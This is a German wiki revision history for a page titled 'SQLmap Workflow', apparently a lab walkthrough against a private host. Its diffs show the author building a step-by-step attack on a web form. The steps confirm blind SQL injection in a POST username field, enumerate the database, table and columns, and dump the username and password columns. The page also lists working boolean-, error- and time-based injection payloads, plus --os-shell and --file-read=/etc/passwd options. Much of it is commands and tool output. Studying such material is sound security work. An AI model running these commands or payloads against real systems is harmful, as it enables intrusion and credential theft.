SQLmap Workflow - Versionsgeschichte

Thomas.will: /* Daten exfiltrieren */

2025-09-15T17:43:56Z

Daten exfiltrieren

@@ Zeile 68: / Zeile 68: @@
 == Daten exfiltrieren ==
-* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump'''
+* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C username,password --dump'''
-* Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.
+=== Erkenntnisblock ===
 == Optionale Möglichkeiten ==

Thomas.will: /* Spalten in einer Tabelle auflisten */

2025-09-15T17:42:05Z

Spalten in einer Tabelle auflisten

← Nächstältere Version		Version vom 15. September 2025, 17:42 Uhr
Zeile 48:		Zeile 48:
	* Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.		* Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.

	== Spalten in ~~einer~~ Tabelle auflisten ==		== Spalten in der Tabelle 'mitarbeiter' auflisten ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''
	* Erkenntnis: ~~Spaltennamen sichtbar, z. B.~~ '''id''', '''~~name~~''', '''~~rolle~~'''.		=== Erkenntnisblock ===
			<pre>
			Database: tuxmen
			Table: mitarbeiter
			[4 columns]
			+----------+--------------+
			\| Column \| Type \|
			+----------+--------------+
			\| fullname \| varchar(128) \|
			\| id \| int(11) \|
			\| password \| varchar(128) \|
			\| username \| varchar(64) \|
			+----------+--------------+
			</pre>
			* Erkenntnis: Die Tabelle '''mitarbeiter''' enthält die Spalten '''id''', '''username''', '''password''' und '''fullname'''.
			* Schlussfolgerung: Besonders interessant für die Exfiltration sind die Spalten '''username''' und '''password'''.

	== Daten exfiltrieren ==		== Daten exfiltrieren ==

Thomas.will: /* Tabellen in der Datenbank 'tuxmen' auflisten */

2025-09-15T17:41:17Z

Tabellen in der Datenbank 'tuxmen' auflisten

← Nächstältere Version		Version vom 15. September 2025, 17:41 Uhr
Zeile 37:		Zeile 37:
	== Tabellen in der Datenbank 'tuxmen' auflisten ==		== Tabellen in der Datenbank 'tuxmen' auflisten ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''
	* Erkenntnis: ~~Auflistung der Tabellen in der~~ Datenbank '''tuxmen'''.		=== Erkenntnisblock ===
	* Schlussfolgerung: Diese ~~Tabellen sind~~ für die Exfiltration interessant.		<pre>
			Database: tuxmen
			[1 table]
			+-------------+
			\| mitarbeiter \|
			+-------------+
			</pre>
			* Erkenntnis: Die Datenbank '''tuxmen''' enthält die Tabelle '''mitarbeiter'''.
			* Schlussfolgerung: Diese Tabelle ist für die Exfiltration interessant und wird im nächsten Schritt weiter untersucht.

	== Spalten in einer Tabelle auflisten ==		== Spalten in einer Tabelle auflisten ==

Thomas.will am 15. September 2025 um 17:39 Uhr

2025-09-15T17:39:02Z

← Nächstältere Version		Version vom 15. September 2025, 17:39 Uhr
Zeile 19:		Zeile 19:
	! Parameter !! Technik !! Beschreibung !! Beispiel-Payload		! Parameter !! Technik !! Beschreibung !! Beispiel-Payload
	\|-		\|-
	\| username (POST) \|\| Boolean-based blind \|\| Antwort ändert sich abhängig von TRUE/FALSE \|\| ~~'''~~username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--~~'''~~		\| username (POST) \|\| Boolean-based blind \|\| Antwort ändert sich abhängig von TRUE/FALSE \|\| username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--
	\|-		\|-
	\| username (POST) \|\| Error-based \|\| Erzwingt DB-Fehler und leakt Infos \|\| ~~'''~~username=test' AND (SELECT COUNT(),CONCAT((SELECT version()),FLOOR(RAND(0)2))x FROM information_schema.plugins GROUP BY x)~~'''~~		\| username (POST) \|\| Error-based \|\| Erzwingt DB-Fehler und leakt Infos \|\| username=test' AND (SELECT COUNT(),CONCAT((SELECT version()),FLOOR(RAND(0)2))x FROM information_schema.plugins GROUP BY x)
	\|-		\|-
	\| username (POST) \|\| Time-based blind \|\| Antwortzeit verzögert durch SLEEP() \|\| ~~'''~~username=test' AND (SELECT SLEEP(5))--~~'''~~		\| username (POST) \|\| Time-based blind \|\| Antwortzeit verzögert durch SLEEP() \|\| username=test' AND (SELECT SLEEP(5))--
	\|}		\|}

Zeile 32:		Zeile 32:
	== Datenbanken auflisten ==		== Datenbanken auflisten ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''
	* Erkenntnis: ~~Übersicht aller vorhandenen~~ Datenbanken ~~(z. B~~. '''~~verwaltung~~''', '''~~information_schema~~''').		* Erkenntnis: Es wurden zwei Datenbanken gefunden: '''information_schema''' und '''tuxmen'''.
			* Bewertung: '''information_schema''' ist eine Systemdatenbank. Fokus liegt auf '''tuxmen'''.

	;Tabellen in der Datenbank '~~verwaltung~~'		== Tabellen in der Datenbank 'tuxmen' auflisten ==
	* ~~Befehl:~~ '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D ~~verwaltung~~ --tables'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen --tables'''
	* Erkenntnis: ~~SQLmap meldete keine~~ Tabellen.		* Erkenntnis: Auflistung der Tabellen in der Datenbank '''tuxmen'''.
	* Bewertung: Möglicherweise False Negative aufgrund der ~~Blind-Injection und Limitierungen der Abfrage~~.		* Schlussfolgerung: Diese Tabellen sind für die Exfiltration interessant.
	* Schlussfolgerung: ~~Weitere Tests (z. B. mit erweiterten Optionen wie --time-sec oder --hex) wären erforderlich, um~~ die ~~Tabellen zuverlässig zu enumerieren~~.

	== 5. Spalten in einer Tabelle auflisten ==		== Spalten in einer Tabelle auflisten ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D ~~verwaltung~~ -T ~~my_auth~~ --columns'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter --columns'''
	* Erkenntnis: Spaltennamen sichtbar, z. B. '''~~user~~''', '''~~pass~~'''.		* Erkenntnis: Spaltennamen sichtbar, z. B. '''id''', '''name''', '''rolle'''.

	== 6. Daten exfiltrieren ==		== Daten exfiltrieren ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D ~~verwaltung~~ -T ~~my_auth~~ -C ~~user~~,~~pass~~ --dump'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D tuxmen -T mitarbeiter -C name,rolle --dump'''
	* Erkenntnis: ~~Klaretextdaten der Benutzer~~ (~~User~~/~~Passwort~~) ~~liegen vor~~.		* Erkenntnis: Exfiltration von Benutzerdaten (Name/Rolle) im Klartext.

	== ~~7. Optional: Weitere~~ Möglichkeiten ==		== Optionale Möglichkeiten ==
	* '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen		* '''--os-shell''' → Versuch, Betriebssystembefehle auszuführen
	* '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen		* '''--file-read=/etc/passwd''' → Datei auf dem Server auslesen
Zeile 55:		Zeile 55:
	= Fazit =		= Fazit =
	SQLmap liefert einen strukturierten Weg:		SQLmap liefert einen strukturierten Weg:
	Von der Bestätigung der Schwachstelle über die ~~Datenbank- und Tabellenstruktur~~ bis zur Exfiltration der ~~Daten~~.		Von der Bestätigung der Schwachstelle über die Datenbankstruktur bis zur Exfiltration der Inhalte.
	Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.		Jeder Schritt bringt eine konkrete Erkenntnis und baut auf dem vorigen auf.

Thomas.will: /* Tabellen in einer Datenbank auflisten */

2025-09-15T17:30:54Z

Tabellen in einer Datenbank auflisten

← Nächstältere Version		Version vom 15. September 2025, 17:30 Uhr
Zeile 34:		Zeile 34:
	* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').		* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').

	== Tabellen in ~~einer~~ Datenbank ~~auflisten ==~~		;Tabellen in der Datenbank 'verwaltung'
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''		* Befehl: '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''
	* Erkenntnis: ~~Tabellenstruktur sichtbar,~~ z. B. ~~Tabelle '''my_auth'''~~.		* Erkenntnis: SQLmap meldete keine Tabellen.
			* Bewertung: Möglicherweise False Negative aufgrund der Blind-Injection und Limitierungen der Abfrage.
			* Schlussfolgerung: Weitere Tests (z. B. mit erweiterten Optionen wie --time-sec oder --hex) wären erforderlich, um die Tabellen zuverlässig zu enumerieren.

	== 5. Spalten in einer Tabelle auflisten ==		== 5. Spalten in einer Tabelle auflisten ==

Thomas.will: /* 4. Tabellen in einer Datenbank auflisten */

2025-09-15T17:23:13Z

4. Tabellen in einer Datenbank auflisten

← Nächstältere Version		Version vom 15. September 2025, 17:23 Uhr
Zeile 34:		Zeile 34:
	* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').		* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').

	== 4. Tabellen in einer Datenbank auflisten ==		== Tabellen in einer Datenbank auflisten ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" -D verwaltung --tables'''
	* Erkenntnis: Tabellenstruktur sichtbar, z. B. Tabelle '''my_auth'''.		* Erkenntnis: Tabellenstruktur sichtbar, z. B. Tabelle '''my_auth'''.

Thomas.will: /* 3. Datenbanken auflisten */

2025-09-15T17:23:05Z

3. Datenbanken auflisten

← Nächstältere Version		Version vom 15. September 2025, 17:23 Uhr
Zeile 30:		Zeile 30:
	* Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.		* Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.

	== 3. Datenbanken auflisten ==		== Datenbanken auflisten ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --dbs'''
	* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').		* Erkenntnis: Übersicht aller vorhandenen Datenbanken (z. B. '''verwaltung''', '''information_schema''').

Thomas.will: /* 2. Version und Banner auslesen */

2025-09-15T17:20:14Z

2. Version und Banner auslesen

← Nächstältere Version		Version vom 15. September 2025, 17:20 Uhr
Zeile 26:		Zeile 26:
	\|}		\|}

	== 2. Version und Banner auslesen ==		== Version und Banner auslesen ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --banner'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --banner'''
	* Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.		* Erkenntnis: Exakte Version des Datenbanksystems wird angezeigt.

Thomas.will am 15. September 2025 um 17:20 Uhr

2025-09-15T17:20:02Z

← Nächstältere Version		Version vom 15. September 2025, 17:20 Uhr
Zeile 7:		Zeile 7:
	== Test auf Verwundbarkeit ==		== Test auf Verwundbarkeit ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch'''
	== Erkenntnisblock ==		=== Erkenntnisblock ===
	<pre>		<pre>
	[13:13:17] [INFO] the back-end DBMS is MySQL		[13:13:17] [INFO] the back-end DBMS is MySQL
Zeile 15:		Zeile 15:
	</pre>		</pre>

	== Gefundene Verwundbarkeiten ==		=== Gefundene Verwundbarkeiten ===
	{\| class="wikitable"		{\| class="wikitable"
	! Parameter !! Technik !! Beschreibung !! Beispiel-Payload		! Parameter !! Technik !! Beschreibung !! Beispiel-Payload

Thomas.will: /* 1. Test auf Verwundbarkeit */

2025-09-15T17:19:37Z

1. Test auf Verwundbarkeit

← Nächstältere Version		Version vom 15. September 2025, 17:19 Uhr
Zeile 5:		Zeile 5:
	Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.		Der Ablauf erfolgt schrittweise: erst Bestätigung, dann systematische Informationsgewinnung.

	== 1. Test auf Verwundbarkeit ==		== Test auf Verwundbarkeit ==
	* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch'''		* '''sqlmap -u "http://10.0.10.108/sql-blind.php" --data="username=test" --batch'''
	* Erkenntnis: Parameter '''username''' ~~ist verwundbar~~ (~~boolean~~-based ~~blind~~, ~~error~~-~~based, time~~-based).		== Erkenntnisblock ==
	* DBMS erkannt: '''~~MariaDB/MySQL~~'''		<pre>
			[13:13:17] [INFO] the back-end DBMS is MySQL
			web server operating system: Linux Debian
			web application technology: Apache 2.4.62
			back-end DBMS: MySQL >= 5.0 (MariaDB fork)
			</pre>

			== Gefundene Verwundbarkeiten ==
			{\| class="wikitable"
			! Parameter !! Technik !! Beschreibung !! Beispiel-Payload
			\|-
			\| username (POST) \|\| Boolean-based blind \|\| Antwort ändert sich abhängig von TRUE/FALSE \|\| '''username=test' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x74657374 ELSE 0x28 END))--'''
			\|-
			\| username (POST) \|\| Error-based \|\| Erzwingt DB-Fehler und leakt Infos \|\| '''username=test' AND (SELECT COUNT(),CONCAT((SELECT version()),FLOOR(RAND(0)2))x FROM information_schema.plugins GROUP BY x)'''
			\|-
			\| username (POST) \|\| Time-based blind \|\| Antwortzeit verzögert durch SLEEP() \|\| '''username=test' AND (SELECT SLEEP(5))--'''
			\|}

	== 2. Version und Banner auslesen ==		== 2. Version und Banner auslesen ==